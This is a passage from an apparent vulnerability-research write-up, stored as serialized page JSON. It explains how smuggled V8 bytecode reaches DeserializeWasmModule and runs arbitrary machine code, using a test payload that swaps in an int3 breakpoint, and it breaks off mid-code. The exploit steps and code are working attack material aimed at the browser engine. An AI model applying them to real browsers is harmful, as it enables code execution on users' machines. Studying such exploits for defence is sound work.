[365314]\n",[130632],{"type":23,"tag":64,"props":130633,"children":130634},{"__ignoreMap":7},[130635],{"type":28,"value":130630},{"type":23,"tag":24,"props":130637,"children":130638},{},[130639],{"type":28,"value":130640},"If you skip the first two bytes, you have",{"type":23,"tag":14178,"props":130642,"children":130643},{},[130644,130675],{"type":23,"tag":77,"props":130645,"children":130646},{},[130647,130652,130654,130659,130661,130667,130669],{"type":23,"tag":64,"props":130648,"children":130650},{"className":130649},[],[130651],{"type":28,"value":130446},{"type":28,"value":130653}," (0x6c) to ",{"type":23,"tag":64,"props":130655,"children":130657},{"className":130656},[],[130658],{"type":28,"value":130462},{"type":28,"value":130660}," (0x0266) starting from register ",{"type":23,"tag":64,"props":130662,"children":130664},{"className":130663},[],[130665],{"type":28,"value":130666},"a2",{"type":28,"value":130668}," (0x4) with 2 arguments (0x2). This becomes the call: ",{"type":23,"tag":64,"props":130670,"children":130672},{"className":130671},[],[130673],{"type":28,"value":130674},"DeserializeWasmModule(a2, a1)",{"type":23,"tag":77,"props":130676,"children":130677},{},[130678],{"type":28,"value":130679},"a Jump instruction",{"type":23,"tag":7092,"props":130681,"children":130683},{"id":130682},"returning-back-to-js",[130684],{"type":28,"value":130685},"Returning Back to JS",{"type":23,"tag":24,"props":130687,"children":130688},{},[130689,130691,130697],{"type":28,"value":130690},"After that call, the result is stored in the accumulator. Since this function is an async generator, we have to ",{"type":23,"tag":64,"props":130692,"children":130694},{"className":130693},[],[130695],{"type":28,"value":130696},"yield",{"type":28,"value":130698}," the result, but that results in a long series of instructions that we can't possibly smuggle.",{"type":23,"tag":24,"props":130700,"children":130701},{},[130702],{"type":28,"value":130703},"The solution here is simple: we use the smuggled control flow to merge back into the normal control flow, that leads us into a yield from the original JS. For example, in our exploit, all the additions were done in a try block:",{"type":23,"tag":435,"props":130705,"children":130707},{"code":130706,"language":28880,"meta":7,"className":28878,"style":7},"try {\n ${'a1 + 0xa931111;'.repeat(0x059302 - 1)}\n a1 + 0x0402666c;\n throw 0x393e91a;\n} catch (e) {\n console.log(\"foo\");\n yield a16;\n}\n",[130708],{"type":23,"tag":64,"props":130709,"children":130710},{"__ignoreMap":7},[130711,130722,130770,130791,130807,130830,130858,130875],{"type":23,"tag":481,"props":130712,"children":130713},{"class":483,"line":484},[130714,130718],{"type":23,"tag":481,"props":130715,"children":130716},{"style":535},[130717],{"type":28,"value":45856},{"type":23,"tag":481,"props":130719,"children":130720},{"style":525},[130721],{"type":28,"value":809},{"type":23,"tag":481,"props":130723,"children":130724},{"class":483,"line":351},[130725,130730,130734,130739,130743,130748,130752,130757,130761,130765],{"type":23,"tag":481,"props":130726,"children":130727},{"style":508},[130728],{"type":28,"value":130729}," $",{"type":23,"tag":481,"props":130731,"children":130732},{"style":525},[130733],{"type":28,"value":74150},{"type":23,"tag":481,"props":130735,"children":130736},{"style":1805},[130737],{"type":28,"value":130738},"'a1 + 0xa931111;'",{"type":23,"tag":481,"props":130740,"children":130741},{"style":525},[130742],{"type":28,"value":199},{"type":23,"tag":481,"props":130744,"children":130745},{"style":610},[130746],{"type":28,"value":130747},"repeat",{"type":23,"tag":481,"props":130749,"children":130750},{"style":525},[130751],{"type":28,"value":618},{"type":23,"tag":481,"props":130753,"children":130754},{"style":551},[130755],{"type":28,"value":130756},"0x059302",{"type":23,"tag":481,"props":130758,"children":130759},{"style":514},[130760],{"type":28,"value":48781},{"type":23,"tag":481,"props":130762,"children":130763},{"style":551},[130764],{"type":28,"value":2072},{"type":23,"tag":481,"props":130766,"children":130767},{"style":525},[130768],{"type":28,"value":130769},")}\n",{"type":23,"tag":481,"props":130771,"children":130772},{"class":483,"line":531},[130773,130778,130782,130787],{"type":23,"tag":481,"props":130774,"children":130775},{"style":508},[130776],{"type":28,"value":130777}," a1",{"type":23,"tag":481,"props":130779,"children":130780},{"style":514},[130781],{"type":28,"value":6385},{"type":23,"tag":481,"props":130783,"children":130784},{"style":551},[130785],{"type":28,"value":130786}," 0x0402666c",{"type":23,"tag":481,"props":130788,"children":130789},{"style":525},[130790],{"type":28,"value":528},{"type":23,"tag":481,"props":130792,"children":130793},{"class":483,"line":567},[130794,130798,130803],{"type":23,"tag":481,"props":130795,"children":130796},{"style":535},[130797],{"type":28,"value":32719},{"type":23,"tag":481,"props":130799,"children":130800},{"style":551},[130801],{"type":28,"value":130802}," 0x393e91a",{"type":23,"tag":481,"props":130804,"children":130805},{"style":525},[130806],{"type":28,"value":528},{"type":23,"tag":481,"props":130808,"children":130809},{"class":483,"line":678},[130810,130814,130818,130822,130826],{"type":23,"tag":481,"props":130811,"children":130812},{"style":525},[130813],{"type":28,"value":44398},{"type":23,"tag":481,"props":130815,"children":130816},{"style":535},[130817],{"type":28,"value":45936},{"type":23,"tag":481,"props":130819,"children":130820},{"style":525},[130821],{"type":28,"value":578},{"type":23,"tag":481,"props":130823,"children":130824},{"style":508},[130825],{"type":28,"value":48980},{"type":23,"tag":481,"props":130827,"children":130828},{"style":525},[130829],{"type":28,"value":12292},{"type":23,"tag":481,"props":130831,"children":130832},{"class":483,"line":784},[130833,130837,130841,130845,130849,130854],{"type":23,"tag":481,"props":130834,"children":130835},{"style":508},[130836],{"type":28,"value":99476},{"type":23,"tag":481,"props":130838,"children":130839},{"style":525},[130840],{"type":28,"value":199},{"type":23,"tag":481,"props":130842,"children":130843},{"style":610},[130844],{"type":28,"value":99485},{"type":23,"tag":481,"props":130846,"children":130847},{"style":525},[130848],{"type":28,"value":618},{"type":23,"tag":481,"props":130850,"children":130851},{"style":1805},[130852],{"type":28,"value":130853},"\"foo\"",{"type":23,"tag":481,"props":130855,"children":130856},{"style":525},[130857],{"type":28,"value":1366},{"type":23,"tag":481,"props":130859,"children":130860},{"class":483,"line":812},[130861,130866,130871],{"type":23,"tag":481,"props":130862,"children":130863},{"style":535},[130864],{"type":28,"value":130865}," yield",{"type":23,"tag":481,"props":130867,"children":130868},{"style":508},[130869],{"type":28,"value":130870}," a16",{"type":23,"tag":481,"props":130872,"children":130873},{"style":525},[130874],{"type":28,"value":528},{"type":23,"tag":481,"props":130876,"children":130877},{"class":483,"line":825},[130878],{"type":23,"tag":481,"props":130879,"children":130880},{"style":525},[130881],{"type":28,"value":1443},{"type":23,"tag":24,"props":130883,"children":130884},{},[130885,130887],{"type":28,"value":130886},"Starting from the final ",{"type":23,"tag":64,"props":130888,"children":130890},{"className":130889},[],[130891],{"type":28,"value":130594},{"type":23,"tag":435,"props":130893,"children":130895},{"code":130894}," 4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n 4385784 : 01 0d 1a e9 93 03 LdaSmi.ExtraWide [60025114]\n 4385790 : b1 Throw\n 4385791 : 00 1a 1a ff Star.Wide r223\n",[130896],{"type":23,"tag":64,"props":130897,"children":130898},{"__ignoreMap":7},[130899],{"type":28,"value":130894},{"type":23,"tag":24,"props":130901,"children":130902},{},[130903,130905,130910,130912,130918],{"type":28,"value":130904},"The smuggled jump in ",{"type":23,"tag":64,"props":130906,"children":130908},{"className":130907},[],[130909],{"type":28,"value":130594},{"type":28,"value":130911}," will redirect us to ",{"type":23,"tag":64,"props":130913,"children":130915},{"className":130914},[],[130916],{"type":28,"value":130917},"1a e9 93 03",{"type":28,"value":130919},", which results in:",{"type":23,"tag":14178,"props":130921,"children":130922},{},[130923,130934],{"type":23,"tag":77,"props":130924,"children":130925},{},[130926,130932],{"type":23,"tag":64,"props":130927,"children":130929},{"className":130928},[],[130930],{"type":28,"value":130931},"Star r16",{"type":28,"value":130933}," (store accumulator to r16)",{"type":23,"tag":77,"props":130935,"children":130936},{},[130937,130942],{"type":23,"tag":64,"props":130938,"children":130940},{"className":130939},[],[130941],{"type":28,"value":130364},{"type":28,"value":130943}," past the throw into the catch relevant code",{"type":23,"tag":24,"props":130945,"children":130946},{},[130947,130949,130955],{"type":28,"value":130948},"This will bring us nicely to the final ",{"type":23,"tag":64,"props":130950,"children":130952},{"className":130951},[],[130953],{"type":28,"value":130954},"yield a16",{"type":28,"value":130956},", and we now have a Deserialized Wasm Module with our own arbitrary machine code.",{"type":23,"tag":7092,"props":130958,"children":130960},{"id":130959},"executing-shellcode",[130961],{"type":28,"value":130962},"Executing Shellcode",{"type":23,"tag":24,"props":130964,"children":130965},{},[130966],{"type":28,"value":130967},"To test this, we first serialize a small WebAssembly module and print the resulting Uint8Array:",{"type":23,"tag":435,"props":130969,"children":130971},{"code":130970,"language":33133,"meta":7,"className":33131,"style":7},"var wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n]);\nvar mod = new WebAssembly.Module(wasm_code);\nvar inst = new WebAssembly.Instance(mod);\nvar func = inst.exports.shell;\n\n%WasmTierUpFunction(func);\nvar serialized = %SerializeWasmModule(mod);\nlet result = new Uint8Array(serialized);\nconsole.log('[' + result.join(', ') + ']');\n",[130972],{"type":23,"tag":64,"props":130973,"children":130974},{"__ignoreMap":7},[130975,131005,131232,131300,131307,131352,131398,131438,131445,131469,131506,131542],{"type":23,"tag":481,"props":130976,"children":130977},{"class":483,"line":484},[130978,130982,130987,130991,130995,131000],{"type":23,"tag":481,"props":130979,"children":130980},{"style":497},[130981],{"type":28,"value":32564},{"type":23,"tag":481,"props":130983,"children":130984},{"style":508},[130985],{"type":28,"value":130986}," wasm_code",{"type":23,"tag":481,"props":130988,"children":130989},{"style":514},[130990],{"type":28,"value":517},{"type":23,"tag":481,"props":130992,"children":130993},{"style":497},[130994],{"type":28,"value":29448},{"type":23,"tag":481,"props":130996,"children":130997},{"style":610},[130998],{"type":28,"value":130999}," Uint8Array",{"type":23,"tag":481,"props":131001,"children":131002},{"style":525},[131003],{"type":28,"value":131004},"([\n",{"type":23,"tag":481,"props":131006,"children":131007},{"class":483,"line":351},[131008,131013,131017,131022,131026,131031,131035,131040,131044,131048,131052,131056,131060,131064,131068,131072,131076,131080,131084,131088,131092,131096,131100,131105,131109,131113,131117,131121,131125,131129,131133,131137,131141,131145,131149,131153,131157,131161,131165,131169,131173,131177,131181,131185,131189,131193,131197,131202,131206,131211,131215,131220,131224,131228],{"type":23,"tag":481,"props":131009,"children":131010},{"style":551},[131011],{"type":28,"value":131012}," 0",{"type":23,"tag":481,"props":131014,"children":131015},{"style":525},[131016],{"type":28,"value":588},{"type":23,"tag":481,"props":131018,"children":131019},{"style":551},[131020],{"type":28,"value":131021},"97",{"type":23,"tag":481,"props":131023,"children":131024},{"style":525},[131025],{"type":28,"value":588},{"type":23,"tag":481,"props":131027,"children":131028},{"style":551},[131029],{"type":28,"value":131030},"115",{"type":23,"tag":481,"props":131032,"children":131033},{"style":525},[131034],{"type":28,"value":588},{"type":23,"tag":481,"props":131036,"children":131037},{"style":551},[131038],{"type":28,"value":131039},"109",{"type":23,"tag":481,"props":131041,"children":131042},{"style":525},[131043],{"type":28,"value":588},{"type":23,"tag":481,"props":131045,"children":131046},{"style":551},[131047],{"type":28,"value":1558},{"type":23,"tag":481,"props":131049,"children":131050},{"style":525},[131051],{"type":28,"value":588},{"type":23,"tag":481,"props":131053,"children":131054},{"style":551},[131055],{"type":28,"value":1568},{"type":23,"tag":481,"props":131057,"children":131058},{"style":525},[131059],{"type":28,"value":588},{"type":23,"tag":481,"props":131061,"children":131062},{"style":551},[131063],{"type":28,"value":1568},{"type":23,"tag":481,"props":131065,"children":131066},{"style":525},[131067],{"type":28,"value":588},{"type":23,"tag":481,"props":131069,"children":131070},{"style":551},[131071],{"type":28,"value":1568},{"type":23,"tag":481,"props":131073,"children":131074},{"style":525},[131075],{"type":28,"value":588},{"type":23,"tag":481,"props":131077,"children":131078},{"style":551},[131079],{"type":28,"value":1558},{"type":23,"tag":481,"props":131081,"children":131082},{"style":525},[131083],{"type":28,"value":588},{"type":23,"tag":481,"props":131085,"children":131086},{"style":551},[131087],{"type":28,"value":15021},{"type":23,"tag":481,"props":131089,"children":131090},{"style":525},[131091],{"type":28,"value":588},{"type":23,"tag":481,"props":131093,"children":131094},{"style":551},[131095],{"type":28,"value":1558},{"type":23,"tag":481,"props":131097,"children":131098},{"style":525},[131099],{"type":28,"value":588},{"type":23,"tag":481,"props":131101,"children":131102},{"style":551},[131103],{"type":28,"value":131104},"96",{"type":23,"tag":481,"props":131106,"children":131107},{"style":525},[131108],{"type":28,"value":588},{"type":23,"tag":481,"props":131110,"children":131111},{"style":551},[131112],{"type":28,"value":1568},{"type":23,"tag":481,"props":131114,"children":131115},{"style":525},[131116],{"type":28,"value":588},{"type":23,"tag":481,"props":131118,"children":131119},{"style":551},[131120],{"type":28,"value":1568},{"type":23,"tag":481,"props":131122,"children":131123},{"style":525},[131124],{"type":28,"value":588},{"type":23,"tag":481,"props":131126,"children":131127},{"style":551},[131128],{"type":28,"value":14788},{"type":23,"tag":481,"props":131130,"children":131131},{"style":525},[131132],{"type":28,"value":588},{"type":23,"tag":481,"props":131134,"children":131135},{"style":551},[131136],{"type":28,"value":637},{"type":23,"tag":481,"props":131138,"children":131139},{"style":525},[131140],{"type":28,"value":588},{"type":23,"tag":481,"props":131142,"children":131143},{"style":551},[131144],{"type":28,"value":1558},{"type":23,"tag":481,"props":131146,"children":131147},{"style":525},[131148],{"type":28,"value":588},{"type":23,"tag":481,"props":131150,"children":131151},{"style":551},[131152],{"type":28,"value":1568},{"type":23,"tag":481,"props":131154,"children":131155},{"style":525},[131156],{"type":28,"value":588},{"type":23,"tag":481,"props":131158,"children":131159},{"style":551},[131160],{"type":28,"value":52197},{"type":23,"tag":481,"props":131162,"children":131163},{"style":525},[131164],{"type":28,"value":588},{"type":23,"tag":481,"props":131166,"children":131167},{"style":551},[131168],{"type":28,"value":53412},{"type":23,"tag":481,"props":131170,"children":131171},{"style":525},[131172],{"type":28,"value":588},{"type":23,"tag":481,"props":131174,"children":131175},{"style":551},[131176],{"type":28,"value":1558},{"type":23,"tag":481,"props":131178,"children":131179},{"style":525},[131180],{"type":28,"value":588},{"type":23,"tag":481,"props":131182,"children":131183},{"style":551},[131184],{"type":28,"value":15602},{"type":23,"tag":481,"props":131186,"children":131187},{"style":525},[131188],{"type":28,"value":588},{"type":23,"tag":481,"props":131190,"children":131191},{"style":551},[131192],{"type":28,"value":131030},{"type":23,"tag":481,"props":131194,"children":131195},{"style":525},[131196],{"type":28,"value":588},{"type":23,"tag":481,"props":131198,"children":131199},{"style":551},[131200],{"type":28,"value":131201},"104",{"type":23,"tag":481,"props":131203,"children":131204},{"style":525},[131205],{"type":28,"value":588},{"type":23,"tag":481,"props":131207,"children":131208},{"style":551},[131209],{"type":28,"value":131210},"101",{"type":23,"tag":481,"props":131212,"children":131213},{"style":525},[131214],{"type":28,"value":588},{"type":23,"tag":481,"props":131216,"children":131217},{"style":551},[131218],{"type":28,"value":131219},"108",{"type":23,"tag":481,"props":131221,"children":131222},{"style":525},[131223],{"type":28,"value":588},{"type":23,"tag":481,"props":131225,"children":131226},{"style":551},[131227],{"type":28,"value":131219},{"type":23,"tag":481,"props":131229,"children":131230},{"style":525},[131231],{"type":28,"value":1033},{"type":23,"tag":481,"props":131233,"children":131234},{"class":483,"line":531},[131235,131239,131243,131247,131251,131255,131259,131263,131267,131271,131275,131279,131283,131287,131291,131296],{"type":23,"tag":481,"props":131236,"children":131237},{"style":551},[131238],{"type":28,"value":131012},{"type":23,"tag":481,"props":131240,"children":131241},{"style":525},[131242],{"type":28,"value":588},{"type":23,"tag":481,"props":131244,"children":131245},{"style":551},[131246],{"type":28,"value":1568},{"type":23,"tag":481,"props":131248,"children":131249},{"style":525},[131250],{"type":28,"value":588},{"type":23,"tag":481,"props":131252,"children":131253},{"style":551},[131254],{"type":28,"value":86785},{"type":23,"tag":481,"props":131256,"children":131257},{"style":525},[131258],{"type":28,"value":588},{"type":23,"tag":481,"props":131260,"children":131261},{"style":551},[131262],{"type":28,"value":15021},{"type":23,"tag":481,"props":131264,"children":131265},{"style":525},[131266],{"type":28,"value":588},{"type":23,"tag":481,"props":131268,"children":131269},{"style":551},[131270],{"type":28,"value":1558},{"type":23,"tag":481,"props":131272,"children":131273},{"style":525},[131274],{"type":28,"value":588},{"type":23,"tag":481,"props":131276,"children":131277},{"style":551},[131278],{"type":28,"value":637},{"type":23,"tag":481,"props":131280,"children":131281},{"style":525},[131282],{"type":28,"value":588},{"type":23,"tag":481,"props":131284,"children":131285},{"style":551},[131286],{"type":28,"value":1568},{"type":23,"tag":481,"props":131288,"children":131289},{"style":525},[131290],{"type":28,"value":588},{"type":23,"tag":481,"props":131292,"children":131293},{"style":551},[131294],{"type":28,"value":131295},"11",{"type":23,"tag":481,"props":131297,"children":131298},{"style":525},[131299],{"type":28,"value":1033},{"type":23,"tag":481,"props":131301,"children":131302},{"class":483,"line":567},[131303],{"type":23,"tag":481,"props":131304,"children":131305},{"style":525},[131306],{"type":28,"value":1288},{"type":23,"tag":481,"props":131308,"children":131309},{"class":483,"line":678},[131310,131314,131318,131322,131326,131331,131335,131339,131343,131348],{"type":23,"tag":481,"props":131311,"children":131312},{"style":497},[131313],{"type":28,"value":32564},{"type":23,"tag":481,"props":131315,"children":131316},{"style":508},[131317],{"type":28,"value":69154},{"type":23,"tag":481,"props":131319,"children":131320},{"style":514},[131321],{"type":28,"value":517},{"type":23,"tag":481,"props":131323,"children":131324},{"style":497},[131325],{"type":28,"value":29448},{"type":23,"tag":481,"props":131327,"children":131328},{"style":508},[131329],{"type":28,"value":131330}," WebAssembly",{"type":23,"tag":481,"props":131332,"children":131333},{"style":525},[131334],{"type":28,"value":199},{"type":23,"tag":481,"props":131336,"children":131337},{"style":610},[131338],{"type":28,"value":83451},{"type":23,"tag":481,"props":131340,"children":131341},{"style":525},[131342],{"type":28,"value":618},{"type":23,"tag":481,"props":131344,"children":131345},{"style":508},[131346],{"type":28,"value":131347},"wasm_code",{"type":23,"tag":481,"props":131349,"children":131350},{"style":525},[131351],{"type":28,"value":1366},{"type":23,"tag":481,"props":131353,"children":131354},{"class":483,"line":784},[131355,131359,131364,131368,131372,131376,131380,131385,131389,131394],{"type":23,"tag":481,"props":131356,"children":131357},{"style":497},[131358],{"type":28,"value":32564},{"type":23,"tag":481,"props":131360,"children":131361},{"style":508},[131362],{"type":28,"value":131363}," inst",{"type":23,"tag":481,"props":131365,"children":131366},{"style":514},[131367],{"type":28,"value":517},{"type":23,"tag":481,"props":131369,"children":131370},{"style":497},[131371],{"type":28,"value":29448},{"type":23,"tag":481,"props":131373,"children":131374},{"style":508},[131375],{"type":28,"value":131330},{"type":23,"tag":481,"props":131377,"children":131378},{"style":525},[131379],{"type":28,"value":199},{"type":23,"tag":481,"props":131381,"children":131382},{"style":610},[131383],{"type":28,"value":131384},"Instance",{"type":23,"tag":481,"props":131386,"children":131387},{"style":525},[131388],{"type":28,"value":618},{"type":23,"tag":481,"props":131390,"children":131391},{"style":508},[131392],{"type":28,"value":131393},"mod",{"type":23,"tag":481,"props":131395,"children":131396},{"style":525},[131397],{"type":28,"value":1366},{"type":23,"tag":481,"props":131399,"children":131400},{"class":483,"line":812},[131401,131405,131409,131413,131417,131421,131425,131429,131434],{"type":23,"tag":481,"props":131402,"children":131403},{"style":497},[131404],{"type":28,"value":32564},{"type":23,"tag":481,"props":131406,"children":131407},{"style":508},[131408],{"type":28,"value":77541},{"type":23,"tag":481,"props":131410,"children":131411},{"style":514},[131412],{"type":28,"value":517},{"type":23,"tag":481,"props":131414,"children":131415},{"style":508},[131416],{"type":28,"value":131363},{"type":23,"tag":481,"props":131418,"children":131419},{"style":525},[131420],{"type":28,"value":199},{"type":23,"tag":481,"props":131422,"children":131423},{"style":508},[131424],{"type":28,"value":35404},{"type":23,"tag":481,"props":131426,"children":131427},{"style":525},[131428],{"type":28,"value":199},{"type":23,"tag":481,"props":131430,"children":131431},{"style":508},[131432],{"type":28,"value":131433},"shell",{"type":23,"tag":481,"props":131435,"children":131436},{"style":525},[131437],{"type":28,"value":528},{"type":23,"tag":481,"props":131439,"children":131440},{"class":483,"line":825},[131441],{"type":23,"tag":481,"props":131442,"children":131443},{"emptyLinePlaceholder":15},[131444],{"type":28,"value":1210},{"type":23,"tag":481,"props":131446,"children":131447},{"class":483,"line":843},[131448,131452,131457,131461,131465],{"type":23,"tag":481,"props":131449,"children":131450},{"style":514},[131451],{"type":28,"value":53915},{"type":23,"tag":481,"props":131453,"children":131454},{"style":610},[131455],{"type":28,"value":131456},"WasmTierUpFunction",{"type":23,"tag":481,"props":131458,"children":131459},{"style":525},[131460],{"type":28,"value":618},{"type":23,"tag":481,"props":131462,"children":131463},{"style":508},[131464],{"type":28,"value":73832},{"type":23,"tag":481,"props":131466,"children":131467},{"style":525},[131468],{"type":28,"value":1366},{"type":23,"tag":481,"props":131470,"children":131471},{"class":483,"line":864},[131472,131476,131481,131485,131490,131494,131498,131502],{"type":23,"tag":481,"props":131473,"children":131474},{"style":497},[131475],{"type":28,"value":32564},{"type":23,"tag":481,"props":131477,"children":131478},{"style":508},[131479],{"type":28,"value":131480}," serialized",{"type":23,"tag":481,"props":131482,"children":131483},{"style":514},[131484],{"type":28,"value":517},{"type":23,"tag":481,"props":131486,"children":131487},{"style":514},[131488],{"type":28,"value":131489}," %",{"type":23,"tag":481,"props":131491,"children":131492},{"style":610},[131493],{"type":28,"value":130488},{"type":23,"tag":481,"props":131495,"children":131496},{"style":525},[131497],{"type":28,"value":618},{"type":23,"tag":481,"props":131499,"children":131500},{"style":508},[131501],{"type":28,"value":131393},{"type":23,"tag":481,"props":131503,"children":131504},{"style":525},[131505],{"type":28,"value":1366},{"type":23,"tag":481,"props":131507,"children":131508},{"class":483,"line":873},[131509,131513,131517,131521,131525,131529,131533,131538],{"type":23,"tag":481,"props":131510,"children":131511},{"style":497},[131512],{"type":28,"value":9274},{"type":23,"tag":481,"props":131514,"children":131515},{"style":508},[131516],{"type":28,"value":6642},{"type":23,"tag":481,"props":131518,"children":131519},{"style":514},[131520],{"type":28,"value":517},{"type":23,"tag":481,"props":131522,"children":131523},{"style":497},[131524],{"type":28,"value":29448},{"type":23,"tag":481,"props":131526,"children":131527},{"style":610},[131528],{"type":28,"value":130999},{"type":23,"tag":481,"props":131530,"children":131531},{"style":525},[131532],{"type":28,"value":618},{"type":23,"tag":481,"props":131534,"children":131535},{"style":508},[131536],{"type":28,"value":131537},"serialized",{"type":23,"tag":481,"props":131539,"children":131540},{"style":525},[131541],{"type":28,"value":1366},{"type":23,"tag":481,"props":131543,"children":131544},{"class":483,"line":1125},[131545,131550,131554,131558,131562,131567,131571,131575,131579,131584,131588,131593,131597,131601,131606],{"type":23,"tag":481,"props":131546,"children":131547},{"style":508},[131548],{"type":28,"value":131549},"console",{"type":23,"tag":481,"props":131551,"children":131552},{"style":525},[131553],{"type":28,"value":199},{"type":23,"tag":481,"props":131555,"children":131556},{"style":610},[131557],{"type":28,"value":99485},{"type":23,"tag":481,"props":131559,"children":131560},{"style":525},[131561],{"type":28,"value":618},{"type":23,"tag":481,"props":131563,"children":131564},{"style":1805},[131565],{"type":28,"value":131566},"'['",{"type":23,"tag":481,"props":131568,"children":131569},{"style":514},[131570],{"type":28,"value":6385},{"type":23,"tag":481,"props":131572,"children":131573},{"style":508},[131574],{"type":28,"value":6642},{"type":23,"tag":481,"props":131576,"children":131577},{"style":525},[131578],{"type":28,"value":199},{"type":23,"tag":481,"props":131580,"children":131581},{"style":610},[131582],{"type":28,"value":131583},"join",{"type":23,"tag":481,"props":131585,"children":131586},{"style":525},[131587],{"type":28,"value":618},{"type":23,"tag":481,"props":131589,"children":131590},{"style":1805},[131591],{"type":28,"value":131592},"', '",{"type":23,"tag":481,"props":131594,"children":131595},{"style":525},[131596],{"type":28,"value":598},{"type":23,"tag":481,"props":131598,"children":131599},{"style":514},[131600],{"type":28,"value":1930},{"type":23,"tag":481,"props":131602,"children":131603},{"style":1805},[131604],{"type":28,"value":131605}," ']'",{"type":23,"tag":481,"props":131607,"children":131608},{"style":525},[131609],{"type":28,"value":1366},{"type":23,"tag":24,"props":131611,"children":131612},{},[131613],{"type":28,"value":131614},"This produces the following output:",{"type":23,"tag":435,"props":131616,"children":131618},{"code":131617},"[147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 85, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93, 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0]\n",[131619],{"type":23,"tag":64,"props":131620,"children":131621},{"__ignoreMap":7},[131622],{"type":28,"value":131617},{"type":23,"tag":24,"props":131624,"children":131625},{},[131626,131628,131634,131636,131642,131644,131650,131651,131657,131659,131664],{"type":28,"value":131627},"The bytes ",{"type":23,"tag":64,"props":131629,"children":131631},{"className":131630},[],[131632],{"type":28,"value":131633},"85, 72, 137, 229, ...",{"type":28,"value":131635}," correspond to the x86-64 function prologue (",{"type":23,"tag":64,"props":131637,"children":131639},{"className":131638},[],[131640],{"type":28,"value":131641},"push rbp; mov rbp, rsp",{"type":28,"value":131643},"). We replace the first byte with ",{"type":23,"tag":64,"props":131645,"children":131647},{"className":131646},[],[131648],{"type":28,"value":131649},"0xcc",{"type":28,"value":13950},{"type":23,"tag":64,"props":131652,"children":131654},{"className":131653},[],[131655],{"type":28,"value":131656},"int3",{"type":28,"value":131658}," opcode), and use this modified buffer as the serialized input to ",{"type":23,"tag":64,"props":131660,"children":131662},{"className":131661},[],[131663],{"type":28,"value":130462},{"type":28,"value":287},{"type":23,"tag":435,"props":131666,"children":131668},{"code":131667,"language":33133,"meta":7,"className":33131,"style":7},"(async () => {\n const wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n ]);\n const buffer = new Uint8Array([\n 147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64,\n 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0,\n 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 204, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93,\n 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0,\n ]);\n let r = bug(wasm_code, buffer.buffer);\n result = (await r.next()).value;\n const wasm_instance = new WebAssembly.Instance(result);\n const f = wasm_instance.exports.shell;\n f();\n})();\n",[131669],{"type":23,"tag":64,"props":131670,"children":131671},{"__ignoreMap":7},[131672,131695,131722,131942,132009,132017,132044,132258,132510,132761,132987,133231,133451,133458,133507,133552,133596,133635,133647],{"type":23,"tag":481,"props":131673,"children":131674},{"class":483,"line":484},[131675,131679,131683,131687,131691],{"type":23,"tag":481,"props":131676,"children":131677},{"style":525},[131678],{"type":28,"value":618},{"type":23,"tag":481,"props":131680,"children":131681},{"style":497},[131682],{"type":28,"value":33663},{"type":23,"tag":481,"props":131684,"children":131685},{"style":525},[131686],{"type":28,"value":37215},{"type":23,"tag":481,"props":131688,"children":131689},{"style":497},[131690],{"type":28,"value":12310},{"type":23,"tag":481,"props":131692,"children":131693},{"style":525},[131694],{"type":28,"value":809},{"type":23,"tag":481,"props":131696,"children":131697},{"class":483,"line":351},[131698,131702,131706,131710,131714,131718],{"type":23,"tag":481,"props":131699,"children":131700},{"style":497},[131701],{"type":28,"value":33706},{"type":23,"tag":481,"props":131703,"children":131704},{"style":508},[131705],{"type":28,"value":130986},{"type":23,"tag":481,"props":131707,"children":131708},{"style":514},[131709],{"type":28,"value":517},{"type":23,"tag":481,"props":131711,"children":131712},{"style":497},[131713],{"type":28,"value":29448},{"type":23,"tag":481,"props":131715,"children":131716},{"style":610},[131717],{"type":28,"value":130999},{"type":23,"tag":481,"props":131719,"children":131720},{"style":525},[131721],{"type":28,"value":131004},{"type":23,"tag":481,"props":131723,"children":131724},{"class":483,"line":531},[131725,131730,131734,131738,131742,131746,131750,131754,131758,131762,131766,131770,131774,131778,131782,131786,131790,131794,131798,131802,131806,131810,131814,131818,131822,131826,131830,131834,131838,131842,131846,131850,131854,131858,131862,131866,131870,131874,131878,131882,131886,131890,131894,131898,131902,131906,131910,131914,131918,